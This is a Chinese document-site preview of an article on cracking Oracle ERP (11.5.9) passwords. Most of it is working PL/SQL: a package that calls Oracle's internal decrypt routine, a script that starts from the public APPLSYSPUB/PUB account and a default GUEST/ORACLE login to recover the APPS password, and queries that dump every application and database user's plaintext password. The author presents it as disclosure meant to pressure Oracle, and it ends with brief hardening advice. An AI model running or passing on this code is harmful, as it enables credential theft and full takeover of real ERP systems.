



下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、破解Oracle ERP 密码1.写作目的12.利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下1(1).建立Package Header1(2).建立Package Body13.取得APPS密码的步骤24.通过任何一个User name/password取得APPS密码的方法25.通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法36.通过上面建立的Package取得所有Oracle ERP Application User 密码的方法37.通过上面建立的Package取得所有Oracle ERP
2、Database User密码的方法38.删除第一步建立的Package39.结论310.提高Oracle ERP的安全性411.此程序在Oracle ERP 11.5.9通过Toad测试通过.41. 写作目的在要不要写出来让大家知道这个问题上想了很久, 但一想到迟早密码破解的方法还是会被人知道的,与其让少部分人知道,还不如让大家都知道,事先好作防范. 公布密码破解方法的目的还是想让Oracle ERP做得更安全一点,让我们大家放心的去用,毕竟是几千万的东西,现在的安全性显然还达不到用户的要求. 想借大家的力量给Oracle施加一点压力,以将Oracle ERP的各个版本改得安全一点.2. 利
3、用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下(1).建立Package HeaderCREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USERAS FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2) RETURN VARCHAR2;END CrackPwd;(2).建立Package BodyCREATE OR REPLACE PACKAGE BODY CrackPwdAS FUNCTION getpwd (orau
4、ser IN VARCHAR2, appuserpwd IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String'END CrackPwd;/3. 取得APPS密码的步骤 假设现在什么Oracle erp权限都没有,怎么去知道oracle erp databaes的权限呢? 我们知道Oracle erp提供了
5、一个database的公用账户(gateway user),此账户拥有database的最小权限,这个公用账号是: APPLSYSPUB/PUB(oracle erp网页中或URL中都有公开此账户),虽然此账户没有什么权限,但却有FND_USER_VIEW 的查询权限,通过这个view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,问题就出在这个view的ENCRYPED_FOUNDATION_PASSWORD字段上, ENCRYPED_FOUNDATION_PASSWORD这个字段是由APPS的密码和用户密码一起通过加密算法得出的结果, 因此只
6、要知道Oracle ERP的解密算法就可以通过fnd_user中任何一个user的password反查apps的密码.,而要知道fnd_user中任何一个user的密码是太简单的事了,在erp安装时就预设了很多账户,这些账户的user name和password都是一样的,一般没有人去改这些账户的密码4. 通过任何一个User name/password取得APPS密码的方法SET SERVEROUTPUT ONDECLARE guestUserPwd VARCHAR2(200); guestUserName VARCHAR2(100); guestFndPwd VARCHAR2(100);
7、guestEncFndPwd VARCHAR2(100); delim NUMBER;BEGIN guestUserPwd :='GUEST/ORACLE'-Can any user password IF guestUserPwd IS NULL THEN guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'); END IF; delim := INSTR(guestUserPwd,'/'); guestUserName := UPPER(SUBSTR(guestUserPwd,1,
8、delim-1); SELECT encrypted_foundation_password INTO guestEncFndPwd FROM fnd_user_view WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND (end_date IS NULL OR end_date > SYSDATE); guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd); IF NOT (guestFndPwd IS NULL) THEN DBMS_OUT
9、PUT.put_line(guestFndPwd); END IF; END;注: guestUserPwd :='GUEST/ORACLE'-Can any user password 上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开以上程序可以用toad执行5. 通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法SET SERVEROUT ONDECLARE v_encrypted_pwd VARCHAR2 (100); v_apps_pwd VARCHAR2 (100); v_user_
10、pwd VARCHAR (100);BEGIN v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D583C10B916D88062771250F4BE653891CA90671C74187B132118335'-get ENCRYPTED_USER_PASSWORD from fnd_user IF v_apps_pwd IS NULL THEN v_apps_pwd := 'APPS' END IF; v_user_pwd := crackpwd.getpwd (v_apps_pwd
11、, v_encrypted_pwd); DBMS_OUTPUT.put_line (v_user_pwd);END;6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD) pwd FROM APPS.fnd_user7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法select fou.oracle_username,CrackPwd.getpwd(
12、'APPS',encrypted_oracle_password) pwd from APPS.fnd_oracle_userid fou8. 删除第一步建立的Package DROP PACKAGE CrackPwd9. 结论1).只要知道fnd_user中任何一个人的密码就可以反推APPS的密码,即使将database中apps密码改掉也可以反推.2).反过来只要知道了apps的密码,fnd_user中所有user的密码都可以反推3).以此类推,只要知道fnd_user中任何一个人的密码就可以反推其它所有User的密码.4).同理,oracle erp db user(table:fnd_oracle_userid)中密码的加密算法同fnd_user,也就是说只要知道了APPS的密码,则db user的所有密码都可以反推.10. 提高Oracle ERP的安全性(1).更改APPS的密码(2).更改所有预先安装的fnd_user中所有user的password(3).更改oracle erp database中的所有user(通过table:fnd_oracle_userid进行查询)的p
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 中国行政史试题及答案
- 浙江省越崎中学2024-2025学年物理高二第二学期期末复习检测试题含解析
- 云南省彝良县民族中2024-2025学年数学高二下期末监测试题含解析
- 云南省安宁市实验石江学校2025届生物高二第二学期期末复习检测模拟试题含解析
- 人工智能提示词工程师试题含答案
- 车辆抵押贷款合同审查及范本
- 高层建筑立面测量劳务分包合作合同
- 高端写字楼场地租赁合同范本-承租方
- 灾害预防厂房租赁安全保证合同
- 劳务雇佣合同模板(18篇)
- 甲状腺腔镜手术配合课件
- 广东省佛山市高明区2021-2022学年六年级下学期期末语文试卷
- 近五年广东中考物理真题及答案2023
- 正负离子表面活性剂混合体系双水相性质的测定
- 2024年山东省新动能基金管理限公司招聘18人公开引进高层次人才和急需紧缺人才笔试参考题库(共500题)答案详解版
- 中国哲学经典著作导读智慧树知到期末考试答案章节答案2024年西安交通大学
- MOOC 兽医外科手术学-华中农业大学 中国大学慕课答案
- 三D打印公开课
- 考古发现与中国文化智慧树知到期末考试答案2024年
- 胸痹心痛病中医护理方案完整课件
- 急性胃肠炎的护理管理
评论
0/150
提交评论